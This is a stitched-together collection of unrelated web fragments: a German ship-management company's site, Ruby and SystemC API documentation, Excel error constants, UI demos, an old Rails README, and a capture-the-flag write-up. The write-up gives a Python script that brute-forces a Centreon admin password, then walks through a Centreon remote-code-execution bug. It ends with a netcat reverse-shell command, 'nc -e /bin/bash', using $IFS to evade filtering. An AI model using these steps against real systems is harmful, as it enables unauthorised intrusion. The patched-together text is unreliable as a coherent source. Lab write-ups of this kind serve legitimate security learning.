On social media, I would include the link to this website on the social media profile biographies (available on twitter, Instagram, facebook), and I would also include the link in posts made on these platforms where possible. For platforms like Instagram where it is not possible to add the link straight into standard posts, I would use the “stories” features to create adverts which the users could directly tap to gain a link straight to the website.
If I had more time I would:
Got a Question - contact us directly using the form below or check out our social media!


SINCE 1970 AT HOME ON ALL SEAS
BBG - Bremer Bereederungsgesellschaft roots go back to 1970, when the company was founded as „Frigomaris Shipping“. First of all the company has specialised in managing container ships since 1987, when it was called „Ganymed Shipping“.
In 2003 the business activities and the entire team were taken over by Bremer Bereederungsgesellschaft mbH & Co. KG. BBG has a wide range experience in technical management, operational management and also in crew managment.
The managed fleet includes modern bulk carriers (Midi, Supramax, Ultramax, Panamax, Post-Panamax and Caper series).
„We guarantee a safe and timely service“ Joachim Zeppenfeld Managing Director
1970
FOUNDED
GLC
Certified
INTERCARGO
Member since 2018
Imec
Member
100%
passion
HIGHEST QUALITY OF SHIP MANAGEMENT
We offer our clients an end-to-end range of services as well as services specially tailored to their requirements. Clients are being kept constantly updated about the financial status of their assets to ensure an utmost transparency of information.
BBG has been a competent partner for newbuilding supervision since 1993. We have successfully taken over the supervision control and monitoring for modern container ships and bulk carriers in several countries, such as Europe, Korea and China.
Thanks to our many years of experience and our local presence with specialists on location we are able to take care of all of our tasks competently from start to finish. The best evidence for this is our growing number of satisfied customers
FOR OUR CLIENT
Our fleet
| Name | Type | OPPORTUNITY | DWT | Year | Details |
|---|---|---|---|---|---|
| MV Eastern Edelweiss | Supramax BC | 71.500 m³ | 57.000 mts | 2012 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| MV Nautical Hilary | Ultramax BC | 78.500 m³ | 63530.4 mts | 2015 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| MV Nautical Loredana | Ultramax BC | 78.500 m³ | 63530.4 mts | 2015 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| MV Nautical Runa | Ultramax BC | 78.500 m³ | 63530.4 mts | 2015 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| MV Nautical Lucia | Ultramax BC | 78.500 m³ | 63530.4 mts | 2016 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| MV Nautical Alice | Ultramax BC | 78.500 m³ | 63530.4 mts | 2016 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| MV Nautical Anne | Ultramax BC | 78.500 m³ | 63530.4 mts | 2016 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| MV Nautical Georgia | Ultramax BC | 78.500 m³ | 63530.4 mts | 2017 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| Nautical Madison | Ultramax BC | 78.500 m³ | 63530.4 mts | 2018 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| MV Topas | Post-Panmax BC | 110.000 m³ | 92.000 mts | 2011 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| MV Tuerkis | Post-Panmax BC | 110.000 m³ | 92.000 mts | 2012 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| MV Turmalin | Post-Panmax BC | 110.000 m³ | 92.000 mts | 2012 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| Ms Kim Oldendorff | Kamsarmax BC | 96.830 m³ | 81.600 mts | 2019 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| Ms Knut Oldendorff | Kamsarmax BC | 96.830 m³ | 81.600 mts | 2019 |
| NAME | TYPE | OPPORTUNITY | DWT | YEAR BUILT | Details |
|---|---|---|---|---|---|
| Ms Klara Oldendorff | Kamsarmax BC | 96.830 m³ | 81.600 mts | 2019 |
JOACHIM ZEPPENFELD
GESCHÄFTSFÜHRER
ALEXANDER BURCHARD
PROKURIST
FLEET DIRECTOR
THOMAS STEIN
PROKURIST
LEITER BUCHHALTUNG
HENNING PULMER
DPA / CSO
IRINA GRABOWSKI
LEITERIN EINKAUF
CHRISTINA WEISE
LEITERIN OPERATIONS
OLAF SCHRÖDER
TECHNISCHER LEITER
THE RIGHT COURSE ALWAYS AT A GLANCE
WORK AT BBG
BECOME A MEMBER IN OUR COMPANY
BBG PARTNER
<EMAIL_ADDRESS>www.conti-shipping.com
CONTI-Group - A community of innovation and reliability in the shipping industry with a focus on container vessels and freight since 1970. Thanks to its constant and successful development, the CONTI Group is today one of the world's leading players in the international financial community.
office @ qsu www.qsu.de
QSU Johannes Koester has been BBG's partner in implementing and continuously maintaining their Quality, Safety and Environmental Management and Maritime Safety System in accordance with the ISPS Code since its inception in 1996.
<EMAIL_ADDRESS>www.ukf-shipmanagement.com
UKFM, the Ukrainian shipping management company UKRFERRY in Odessa, is our partner for the crew of the BBG fleet with well-trained and highly motivated Ukrainian craftsmen / officers who always adhere strictly to the STCW and the latest technical standard.
<EMAIL_ADDRESS>www.iespoland.eu
IES marine is our partner for the crew of the BBG fleet with well-trained and highly motivated Polish masters / officers, always strictly adhering to STCW standards and in accordance with the latest technical standards. They have been our business partner since 1995.
<EMAIL_ADDRESS>www.scanmar.com.ph
The first thing you need to know about us is our devotion to you. We are service-oriented crewing specialists, striving to offer each principal our full attention and the highest level of knowledge. Scanmar has become one of the largest recruitment agents in the Philippines. His reputation for integrity and quality assurance has been a major factor in its continued growth. To ensure a high level of service, an effective management system has been created.
Contacts
BREMER BEREEDERUNGSGESELLSCHAFT MBH & CO. KG
HERMANN-HOLLERITH-STR. 10
PHONE: +49 421 4686-0
www.bbg-shipmanagement.com info@bbg-shipmanagement.com


Class: RandomAdapter
- Inherits:
-
Adapter
- Object
- Adapter
- RandomAdapter
- Includes:
- Logging
- Defined in:
- lib/business/adapter/random_adapter.rb
Overview
Self implementation from Adapter class to make it works with a Random Phrase Generator
Constant Summary
Constant Summary
Constants included from Logging
Instance Method Summary (collapse)
-
- (Object) connect_stream(stream = 1)
Connects to a Random Phrase Generator and retrieves phrases.
-
- (RandomAdapter) initialize
constructor
Initializes the Random Adapter class with the dao parameters.
-
- (Object) persist(status)
Save the status in a database to release the execution charge of threat that info in real time.
Methods included from Logging
Constructor Details
- (RandomAdapter) initialize
Initializes the Random Adapter class with the dao parameters
15 16 17 18 19 |
# File 'lib/business/adapter/random_adapter.rb', line 15 def initialize @dao = DAO.new 'rpg' end |
Instance Method Details
- (Object) connect_stream(stream = 1)
Connects to a Random Phrase Generator and retrieves phrases
25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
# File 'lib/business/adapter/random_adapter.rb', line 25 def connect_stream (stream=1) logger.info('Starting Random adapter') random = RandomPhraseGenerator.new i=0 while true persist random.generate i = i+1 if i%10 == 0 sleep 10 end end end |
- (Object) persist(status)
Save the status in a database to release the execution charge of threat that info in real time
46 47 48 |
# File 'lib/business/adapter/random_adapter.rb', line 46 def persist status @dao.save_status status end |


ICT Enabled, Robust & Optimized
Initial Damage Assessment
Bridge the gap between Damage Assessment & Need Assessment
Fast Resource Allocation
Thunder. Storm. Flood.
Connectivity?
Communication?
Cover?
Now you can connect with the concerned rescue authorities for help and rescue. Get to see local offline maps to guide you to safer areas. Security of your loved ones will no more be compromised due to any disaster.
Cool!! I am interested.Prithviraj Pramanik, Research Engineer, ITRA - Co-founder
Kingshuk De, Research Engineer, ITRA - Co-Founder
Bishakh Ghosh, NIT Durgapur, Researcher
Hridoy Dutta, NIT Durgapur, Researcher
Sunny Saurav, NIT Durgapur, Researcher
Arka Prava Basu, NIT Durgapur, Researcher
IIT Kharagpur
IIM Calcutta
NIT Durgapur
Kalyani Government Engineering College
IIEST, Shibpur
Heritage Institute of Technology
Being a part of the research team since the inception of the project has provided us with a very strong research background
Connectivity?
Communication?
Cover?
Now you can connect with the concerned rescue authorities for help and rescue. Get to see local offline maps to guide you to safer areas. Security of your loved ones will no more be compromised due to any disaster.
Cool!! I am interested.Being a part of the research team since the inception of the project has provided us with a very strong research background
Connectivity?
Communication?
Cover?
Now you can connect with the concerned rescue authorities for help and rescue. Get to see local offline maps to guide you to safer areas. Security of your loved ones will no more be compromised due to any disaster.
Cool!! I am interested.Feel free to contact us for any queries, collaborative ideas or donations!


| Field Summary | ||
|---|---|---|
const Number | CHART | |
| Invalid chart setting. | ||
const Number | DATA_TYPE | |
| Invalid data type setting. | ||
const Number | DATA_VALIDATION | |
| Invalid data validation setting. | ||
const Number | CONDITIONAL_FORMATTING | |
| Invalid data validation setting. | ||
const Number | FILE_FORMAT | |
| Invalid file format. | ||
const Number | FORMULA | |
| Invalid formula. | ||
const Number | INVALID_DATA | |
| Invalid data. | ||
const Number | INVALID_OPERATOR | |
| Invalid operator. | ||
const Number | INCORRECT_PASSWORD | |
| Incorrect password. | ||
const Number | LICENSE | |
| License related errors. | ||
const Number | LIMITATION | |
| Out of MS Excel limitation error. | ||
const Number | PAGE_SETUP | |
| Invalid page setup setting. | ||
const Number | PIVOT_TABLE | |
| Invalid pivotTable setting. | ||
const Number | SHAPE | |
| Invalid drawing object setting. | ||
const Number | SPARKLINE | |
| Invalid sparkline object setting. | ||
const Number | SHEET_NAME | |
| Invalid worksheet name. | ||
const Number | SHEET_TYPE | |
| Invalid worksheet type. | ||
const Number | INTERRUPTED | |
| The operator is interrupted. | ||
const Number | IO | |
| The file is invalid. | ||
const Number | UNSUPPORTED_FEATURE | |
| Unsupported feature. | ||
const Number | UNSUPPORTED_STREAM | |
| Unsupported stream to be opened. | ||
const Number | UNDISCLOSED_INFORMATION | |
| Files contains some undisclosed information. |
| Field Detail |
|---|
CHART | |
const Number CHART |
DATA_TYPE | |
const Number DATA_TYPE |
DATA_VALIDATION | |
const Number DATA_VALIDATION |
CONDITIONAL_FORMATTING | |
const Number CONDITIONAL_FORMATTING |
FILE_FORMAT | |
const Number FILE_FORMAT |
FORMULA | |
const Number FORMULA |
INVALID_DATA | |
const Number INVALID_DATA |
INVALID_OPERATOR | |
const Number INVALID_OPERATOR |
INCORRECT_PASSWORD | |
const Number INCORRECT_PASSWORD |
LICENSE | |
const Number LICENSE |
LIMITATION | |
const Number LIMITATION |
PAGE_SETUP | |
const Number PAGE_SETUP |
PIVOT_TABLE | |
const Number PIVOT_TABLE |
SHAPE | |
const Number SHAPE |
SPARKLINE | |
const Number SPARKLINE |
SHEET_NAME | |
const Number SHEET_NAME |
SHEET_TYPE | |
const Number SHEET_TYPE |
INTERRUPTED | |
const Number INTERRUPTED |
IO | |
const Number IO |
UNSUPPORTED_FEATURE | |
const Number UNSUPPORTED_FEATURE |
UNSUPPORTED_STREAM | |
const Number UNSUPPORTED_STREAM |
UNDISCLOSED_INFORMATION | |
const Number UNDISCLOSED_INFORMATION |


click me
No, click me
click me too
don't you wanna click me?
Or me?
No me!
Any color you want
Blue gradient :)
Red button
light button
destructive button
3D button
blue 3D button
auto button


From port scanning two ports are only available 22,80
.
All I see in this port is the default page of apache2. So I fire up gobuster at this time.
gobuster dir -w /usr/share/wordlists/directory-list-2.3-medium.txt -u http://<IP_ADDRESS>/ -o port80
, which gives me back:
/monitoring (401)
visiting /monitoring gives me a basic auth form, but I don’t know any logins,atm. So I run another gobuster but this time with .php extension.
gobuster dir -w /usr/share/wordlists/directory-list-2.3-medium.txt -u http://<IP_ADDRESS>/ -o port80withphp -x .php
gives me back:
aa.php
/monitoring
panel.php
But again nothing of interest. I tried to brute force the /monitoring directory by using hydra even tho I didn’t knew a single username, but again i failed to find something.
I open the request to /monitoring using burp and change the request from GET /monitoring/
to POST /monitoring/
I get a redirect which sends me to /monitoring/'/centreon'
.
We have a new directory: /centreon/
I search and find that I can use their api to send authentication requests, and at this time I create a script to do that for me:
import requests
URL = "http://<IP_ADDRESS>/centreon/api/index.php?action=authenticate"
with open('/home/fuxsocy/.local/share/Trash/files/rockyou.txt', 'r') as f:
for i in f:
i = i.strip('\n')
PARAMS = {"username":"Admin", "password": i}
r = requests.post(url = URL, data=PARAMS)
if "Bad" in r.text:
pass
else:
print("Found password: %s" % i)
The password is password1
(Don’t ever use this as password PLEASE 😂).
I login using that password on the interface. Looking at the version I found out version 19.04 has a rce.
I follow this post https://shells.systems/centreon-v19-04-remote-code-execution-cve-2019-13024/.
Basically what you have to do to gain rce is to visit http://<IP_ADDRESS>/centreon/main.php?p=60901&o=c&server_id=1
and at the Monitoring Engine Binary put a command, like you do on a terminal and then visit <IP_ADDRESS>/centreon/include/configuration/configGenerate/xml/generateFiles.php
to get rce.
But putting nc -e /bin/bash {IP}, does not work. After trying I got it working by putting {$IFS}
instead of a space.
The Internal Field Separator (IFS) that is used for word splitting after expansion and to split lines into words with the read builtin command.
there is a screen vulnerability!


You change into a larger, baggier shirt to appease your brain.

You battle your thoughts and start the rest of your day.


|
| | sc_biguint () |
| |
| | sc_biguint (const sc_biguint< W > &v) |
| |
| | sc_biguint (const sc_unsigned &v) |
| |
| | sc_biguint (const sc_unsigned_subref &v) |
| |
| template<class T > |
| | sc_biguint (const sc_generic_base< T > &a) |
| |
| | sc_biguint (const sc_signed &v) |
| |
| | sc_biguint (const sc_signed_subref &v) |
| |
| | sc_biguint (const char *v) |
| |
| | sc_biguint (int64 v) |
| |
| | sc_biguint (uint64 v) |
| |
| | sc_biguint (long v) |
| |
| | sc_biguint (unsigned long v) |
| |
| | sc_biguint (int v) |
| |
| | sc_biguint (unsigned int v) |
| |
| | sc_biguint (double v) |
| |
| | sc_biguint (const sc_bv_base &v) |
| |
| | sc_biguint (const sc_lv_base &v) |
| |
| | ~sc_biguint () |
| |
| sc_biguint< W > & | operator= (const sc_biguint< W > &v) |
| |
| sc_biguint< W > & | operator= (const sc_unsigned &v) |
| |
| sc_biguint< W > & | operator= (const sc_unsigned_subref &v) |
| |
| template<class T > |
| sc_biguint< W > & | operator= (const sc_generic_base< T > &a) |
| |
| sc_biguint< W > & | operator= (const sc_signed &v) |
| |
| sc_biguint< W > & | operator= (const sc_signed_subref &v) |
| |
| sc_biguint< W > & | operator= (const char *v) |
| |
| sc_biguint< W > & | operator= (int64 v) |
| |
| sc_biguint< W > & | operator= (uint64 v) |
| |
| sc_biguint< W > & | operator= (long v) |
| |
| sc_biguint< W > & | operator= (unsigned long v) |
| |
| sc_biguint< W > & | operator= (int v) |
| |
| sc_biguint< W > & | operator= (unsigned int v) |
| |
| sc_biguint< W > & | operator= (double v) |
| |
| sc_biguint< W > & | operator= (const sc_bv_base &v) |
| |
| sc_biguint< W > & | operator= (const sc_lv_base &v) |
| |
| sc_biguint< W > & | operator= (const sc_int_base &v) |
| |
| sc_biguint< W > & | operator= (const sc_uint_base &v) |
| |
| | sc_unsigned (int nb=sc_length_param().len()) |
| |
| | sc_unsigned (const sc_unsigned &v) |
| |
| | sc_unsigned (const sc_signed &v) |
| |
| template<class T > |
| | sc_unsigned (const sc_generic_base< T > &v) |
| |
| | sc_unsigned (const sc_bv_base &v) |
| |
| | sc_unsigned (const sc_lv_base &v) |
| |
| | sc_unsigned (const sc_int_subref_r &v) |
| |
| | sc_unsigned (const sc_uint_subref_r &v) |
| |
| | sc_unsigned (const sc_signed_subref_r &v) |
| |
| | sc_unsigned (const sc_unsigned_subref_r &v) |
| |
| const sc_unsigned & | operator= (const sc_unsigned &v) |
| |
| const sc_unsigned & | operator= (const sc_unsigned_subref_r &a) |
| |
| template<class T > |
| const sc_unsigned & | operator= (const sc_generic_base< T > &a) |
| |
| const sc_unsigned & | operator= (const sc_signed &v) |
| |
| const sc_unsigned & | operator= (const sc_signed_subref_r &a) |
| |
| const sc_unsigned & | operator= (const char *v) |
| |
| const sc_unsigned & | operator= (int64 v) |
| |
| const sc_unsigned & | operator= (uint64 v) |
| |
| const sc_unsigned & | operator= (long v) |
| |
| const sc_unsigned & | operator= (unsigned long v) |
| |
| const sc_unsigned & | operator= (int v) |
| |
| const sc_unsigned & | operator= (unsigned int v) |
| |
| const sc_unsigned & | operator= (double v) |
| |
| const sc_unsigned & | operator= (const sc_int_base &v) |
| |
| const sc_unsigned & | operator= (const sc_uint_base &v) |
| |
| const sc_unsigned & | operator= (const sc_bv_base &) |
| |
| const sc_unsigned & | operator= (const sc_lv_base &) |
| |
| virtual | ~sc_unsigned () |
| |
| sc_digit * | get_raw () const |
| |
| virtual int | concat_length (bool *xz_present_p) const |
| |
| virtual bool | concat_get_ctrl (sc_digit *dst_p, int low_i) const |
| |
| virtual bool | concat_get_data (sc_digit *dst_p, int low_i) const |
| |
| virtual uint64 | concat_get_uint64 () const |
| |
| virtual void | concat_set (int64 src, int low_i) |
| |
| virtual void | concat_set (const sc_signed &src, int low_i) |
| |
| virtual void | concat_set (const sc_unsigned &src, int low_i) |
| |
| virtual void | concat_set (uint64 src, int low_i) |
| |
| sc_unsigned & | operator++ () |
| |
| const sc_unsigned | operator++ (int) |
| |
| sc_unsigned & | operator-- () |
| |
| const sc_unsigned | operator-- (int) |
| |
| void | check_index (int i) const |
| |
| void | invalid_index (int i) const |
| |
| sc_unsigned_bitref & | operator[] (int i) |
| |
| const sc_unsigned_bitref_r & | operator[] (int i) const |
| |
| sc_unsigned_bitref & | bit (int i) |
| |
| const sc_unsigned_bitref_r & | bit (int i) const |
| |
| void | check_range (int l, int r) const |
| |
| void | invalid_range (int l, int r) const |
| |
| sc_unsigned_subref & | range (int i, int j) |
| |
| const sc_unsigned_subref_r & | range (int i, int j) const |
| |
| sc_unsigned_subref & | operator() (int i, int j) |
| |
| const sc_unsigned_subref_r & | operator() (int i, int j) const |
| |
| int | to_int () const |
| |
| unsigned int | to_uint () const |
| |
| long | to_long () const |
| |
| unsigned long | to_ulong () const |
| |
| int64 | to_int64 () const |
| |
| uint64 | to_uint64 () const |
| |
| double | to_double () const |
| |
| const std::string | to_string (sc_numrep numrep=SC_DEC) const |
| |
| const std::string | to_string (sc_numrep numrep, bool w_prefix) const |
| |
| void | print (::std::ostream &os=::std::cout) const |
| |
| void | scan (::std::istream &is=::std::cin) |
| |
| void | dump (::std::ostream &os=::std::cout) const |
| |
| int | length () const |
| |
| bool | iszero () const |
| |
| bool | sign () const |
| |
| bool | and_reduce () const |
| |
| bool | nand_reduce () const |
| |
| bool | or_reduce () const |
| |
| bool | nor_reduce () const |
| |
| bool | xor_reduce () const |
| |
| bool | xnor_reduce () const |
| |
| bool | test (int i) const |
| |
| void | set (int i) |
| |
| void | clear (int i) |
| |
| void | set (int i, bool v) |
| |
| void | invert (int i) |
| |
| void | reverse () |
| |
| void | get_packed_rep (sc_digit *buf) const |
| |
| void | set_packed_rep (sc_digit *buf) |
| |
| const sc_unsigned & | operator+= (const sc_signed &v) |
| |
| const sc_unsigned & | operator+= (const sc_unsigned &v) |
| |
| const sc_unsigned & | operator+= (int64 v) |
| |
| const sc_unsigned & | operator+= (uint64 v) |
| |
| const sc_unsigned & | operator+= (long v) |
| |
| const sc_unsigned & | operator+= (unsigned long v) |
| |
| const sc_unsigned & | operator+= (int v) |
| |
| const sc_unsigned & | operator+= (unsigned int v) |
| |
| const sc_unsigned & | operator+= (const sc_int_base &v) |
| |
| const sc_unsigned & | operator+= (const sc_uint_base &v) |
| |
| const sc_unsigned & | operator-= (const sc_signed &v) |
| |
| const sc_unsigned & | operator-= (const sc_unsigned &v) |
| |
| const sc_unsigned & | operator-= (int64 v) |
| |
| const sc_unsigned & | operator-= (uint64 v) |
| |
| const sc_unsigned & | operator-= (long v) |
| |
| const sc_unsigned & | operator-= (unsigned long v) |
| |
| const sc_unsigned & | operator-= (int v) |
| |
| const sc_unsigned & | operator-= (unsigned int v) |
| |
| const sc_unsigned & | operator-= (const sc_int_base &v) |
| |
| const sc_unsigned & | operator-= (const sc_uint_base &v) |
| |
| const sc_unsigned & | operator*= (const sc_signed &v) |
| |
| const sc_unsigned & | operator*= (const sc_unsigned &v) |
| |
| const sc_unsigned & | operator*= (int64 v) |
| |
| const sc_unsigned & | operator*= (uint64 v) |
| |
| const sc_unsigned & | operator*= (long v) |
| |
| const sc_unsigned & | operator*= (unsigned long v) |
| |
| const sc_unsigned & | operator*= (int v) |
| |
| const sc_unsigned & | operator*= (unsigned int v) |
| |
| const sc_unsigned & | operator*= (const sc_int_base &v) |
| |
| const sc_unsigned & | operator*= (const sc_uint_base &v) |
| |
| const sc_unsigned & | operator/= (const sc_signed &v) |
| |
| const sc_unsigned & | operator/= (const sc_unsigned &v) |
| |
| const sc_unsigned & | operator/= (int64 v) |
| |
| const sc_unsigned & | operator/= (uint64 v) |
| |
| const sc_unsigned & | operator/= (long v) |
| |
| const sc_unsigned & | operator/= (unsigned long v) |
| |
| const sc_unsigned & | operator/= (int v) |
| |
| const sc_unsigned & | operator/= (unsigned int v) |
| |
| const sc_unsigned & | operator/= (const sc_int_base &v) |
| |
| const sc_unsigned & | operator/= (const sc_uint_base &v) |
| |
| const sc_unsigned & | operator%= (const sc_signed &v) |
| |
| const sc_unsigned & | operator%= (const sc_unsigned &v) |
| |
| const sc_unsigned & | operator%= (int64 v) |
| |
| const sc_unsigned & | operator%= (uint64 v) |
| |
| const sc_unsigned & | operator%= (long v) |
| |
| const sc_unsigned & | operator%= (unsigned long v) |
| |
| const sc_unsigned & | operator%= (int v) |
| |
| const sc_unsigned & | operator%= (unsigned int v) |
| |
| const sc_unsigned & | operator%= (const sc_int_base &v) |
| |
| const sc_unsigned & | operator%= (const sc_uint_base &v) |
| |
| const sc_unsigned & | operator&= (const sc_signed &v) |
| |
| const sc_unsigned & | operator&= (const sc_unsigned &v) |
| |
| const sc_unsigned & | operator&= (int64 v) |
| |
| const sc_unsigned & | operator&= (uint64 v) |
| |
| const sc_unsigned & | operator&= (long v) |
| |
| const sc_unsigned & | operator&= (unsigned long v) |
| |
| const sc_unsigned & | operator&= (int v) |
| |
| const sc_unsigned & | operator&= (unsigned int v) |
| |
| const sc_unsigned & | operator&= (const sc_int_base &v) |
| |
| const sc_unsigned & | operator&= (const sc_uint_base &v) |
| |
| const sc_unsigned & | operator|= (const sc_signed &v) |
| |
| const sc_unsigned & | operator|= (const sc_unsigned &v) |
| |
| const sc_unsigned & | operator|= (int64 v) |
| |
| const sc_unsigned & | operator|= (uint64 v) |
| |
| const sc_unsigned & | operator|= (long v) |
| |
| const sc_unsigned & | operator|= (unsigned long v) |
| |
| const sc_unsigned & | operator|= (int v) |
| |
| const sc_unsigned & | operator|= (unsigned int v) |
| |
| const sc_unsigned & | operator|= (const sc_int_base &v) |
| |
| const sc_unsigned & | operator|= (const sc_uint_base &v) |
| |
| const sc_unsigned & | operator^= (const sc_signed &v) |
| |
| const sc_unsigned & | operator^= (const sc_unsigned &v) |
| |
| const sc_unsigned & | operator^= (int64 v) |
| |
| const sc_unsigned & | operator^= (uint64 v) |
| |
| const sc_unsigned & | operator^= (long v) |
| |
| const sc_unsigned & | operator^= (unsigned long v) |
| |
| const sc_unsigned & | operator^= (int v) |
| |
| const sc_unsigned & | operator^= (unsigned int v) |
| |
| const sc_unsigned & | operator^= (const sc_int_base &v) |
| |
| const sc_unsigned & | operator^= (const sc_uint_base &v) |
| |
| const sc_unsigned & | operator<<= (const sc_signed &v) |
| |
| const sc_unsigned & | operator<<= (const sc_unsigned &v) |
| |
| const sc_unsigned & | operator<<= (int64 v) |
| |
| const sc_unsigned & | operator<<= (uint64 v) |
| |
| const sc_unsigned & | operator<<= (long v) |
| |
| const sc_unsigned & | operator<<= (unsigned long v) |
| |
| const sc_unsigned & | operator<<= (int v) |
| |
| const sc_unsigned & | operator<<= (unsigned int v) |
| |
| const sc_unsigned & | operator<<= (const sc_int_base &v) |
| |
| const sc_unsigned & | operator<<= (const sc_uint_base &v) |
| |
| const sc_unsigned & | operator>>= (const sc_signed &v) |
| |
| const sc_unsigned & | operator>>= (const sc_unsigned &v) |
| |
| const sc_unsigned & | operator>>= (int64 v) |
| |
| const sc_unsigned & | operator>>= (uint64 v) |
| |
| const sc_unsigned & | operator>>= (long v) |
| |
| const sc_unsigned & | operator>>= (unsigned long v) |
| |
| const sc_unsigned & | operator>>= (int v) |
| |
| const sc_unsigned & | operator>>= (unsigned int v) |
| |
| const sc_unsigned & | operator>>= (const sc_int_base &v) |
| |
| const sc_unsigned & | operator>>= (const sc_uint_base &v) |
| |
| virtual | ~sc_value_base () |
| |
template<int W>
class sc_dt::sc_biguint< W >
Definition at line 65 of file sc_biguint.h.


Movie Ticket
Movie title:
Select movie title
Movie times:
Select movie times
Ticket Type:
Select Ticket
Submit
PURCHASE SUMMARY
Title:
Release:
Time:
Ticket type:
Total cost: $


| Path: | README |
| Last Update: | Sat Jul 03 17:16:39 -0600 2010 |
Rails is a web-application framework that includes everything needed to create database-backed web applications according to the Model-View-Control pattern.
This pattern splits the view (also called the presentation) into "dumb" templates that are primarily responsible for inserting pre-built data in between HTML tags. The model contains the "smart" domain objects (such as Account, Product, Person, Post) that holds all the business logic and knows how to persist themselves to a database. The controller handles the incoming requests (such as Save New Account, Update Product, Show Post) by manipulating the model and directing data to the view.
In Rails, the model is handled by what‘s called an object-relational mapping layer entitled Active Record. This layer allows you to present the data from database rows as objects and embellish these data objects with business logic methods. You can read more about Active Record in files/vendor/rails/activerecord/README.html.
The controller and view are handled by the Action Pack, which handles both layers by its two parts: Action View and Action Controller. These two layers are bundled in a single package due to their heavy interdependence. This is unlike the relationship between the Active Record and Action Pack that is much more separate. Each of these packages can be used independently outside of Rails. You can read more about Action Pack in files/vendor/rails/actionpack/README.html.
By default, Rails will try to use Mongrel if it‘s installed when started with rails server, otherwise Rails will use WEBrick, the webserver that ships with Ruby. But you can also use Rails with a variety of other web servers.
Mongrel is a Ruby-based webserver with a C component (which requires compilation) that is suitable for development and deployment of Rails applications. If you have Ruby Gems installed, getting up and running with mongrel is as easy as: gem install mongrel. More info at: mongrel.rubyforge.org
Say other Ruby web servers like Thin and Ebb or regular web servers like Apache or LiteSpeed or Lighttpd or IIS. The Ruby web servers are run through Rack and the latter can either be setup to use FCGI or proxy to a pack of Mongrels/Thin/Ebb servers.
# General Apache options AddHandler fastcgi-script .fcgi AddHandler cgi-script .cgi Options +FollowSymLinks +ExecCGI
# If you don‘t want Rails to look in certain directories, # use the following rewrite rules so that Apache won‘t rewrite certain requests # # Example: # RewriteCond %{REQUEST_URI} ^/notrails.* # RewriteRule .* - [L]
# Redirect all requests not available on the filesystem to Rails # By default the cgi dispatcher is used which is very slow # # For better performance replace the dispatcher with the fastcgi one # # Example: # RewriteRule ^(.*)$ dispatch.fcgi [QSA,L] RewriteEngine On
# If your Rails application is accessed via an Alias directive, # then you MUST also set the RewriteBase in this htaccess file. # # Example: # Alias /myrailsapp /path/to/myrailsapp/public # RewriteBase /myrailsapp
RewriteRule ^$ index.html [QSA] RewriteRule ^([^.]+)$ $1.html [QSA] RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ dispatch.cgi [QSA,L]
# In case Rails experiences terminal errors # Instead of displaying this message you can supply a file here which will be rendered instead # # Example: # ErrorDocument 500 /500.html
ErrorDocument 500 "
Application error
Rails application failed to start properly"
Sometimes your application goes wrong. Fortunately there are a lot of tools that will help you debug it and get it back on the rails.
First area to check is the application log files. Have "tail -f" commands running on the server.log and development.log. Rails will automatically display debugging and runtime information to these files. Debugging info will also be shown in the browser on requests from <IP_ADDRESS>.
You can also log your own messages directly into the log file from your code using the Ruby logger class from inside your controllers. Example:
class WeblogController < ActionController::Base def destroy @weblog = Weblog.find(params[:id]) @weblog.destroy logger.info("#{Time.now} Destroyed Weblog ID ##{@weblog.id}!") end end
The result will be a message in your log file along the lines of:
Mon Oct 08 14:22:29 +1000 2007 Destroyed Weblog ID #1
More information on how to use the logger is at www.ruby-doc.org/core/
Also, Ruby documentation can be found at www.ruby-lang.org/ including:
These two online (and free) books will bring you up to speed on the Ruby language and also on programming in general.
Debugger support is available through the debugger command when you start your Mongrel or Webrick server with —debugger. This means that you can break out of execution at any point in the code, investigate and change the model, AND then resume execution! You need to install ruby-debug to run the server in debugging mode. With gems, use ‘gem install ruby-debug’ Example:
class WeblogController < ActionController::Base def index @posts = Post.find(:all) debugger end end
So the controller will accept the action, run the first line, then present you with a IRB prompt in the server window. Here you can do things like:
>> @posts.inspect => "[#<Post:0x14a6be8 @attributes={\"title\"=>nil, \"body\"=>nil, \"id\"=>\"1\"}>, #<Post:0x14a6620 @attributes={\"title\"=>\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]" >> @posts.first.title = "hello from a debugger" => "hello from a debugger"
…and even better is that you can examine how your runtime objects actually work:
>> f = @posts.first => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}> >> f. Display all 152 possibilities? (y or n)
Finally, when you‘re ready to resume execution, you enter "cont"
You can interact with the domain model by starting the console through rails console. Here you‘ll have all parts of the application configured, just like it is when the application is running. You can inspect domain models, change values, and save to the database. Starting the script without arguments will launch it in the development environment. Passing an argument will specify a different environment, like rails console production.
To reload your controllers and models after launching the console run reload!
You can go to the command line of your database directly through rails dbconsole. You would be connected to the database with the credentials defined in database.yml. Starting the script without arguments will connect you to the development database. Passing an argument will connect you to a different database, like rails dbconsole production. Currently works for mysql, postgresql and sqlite.
app
Holds all the code that's specific to this particular application.
app/controllers
Holds controllers that should be named like weblogs_controller.rb for automated URL mapping. All controllers should descend from ApplicationController which itself descends from ActionController::Base.
app/models
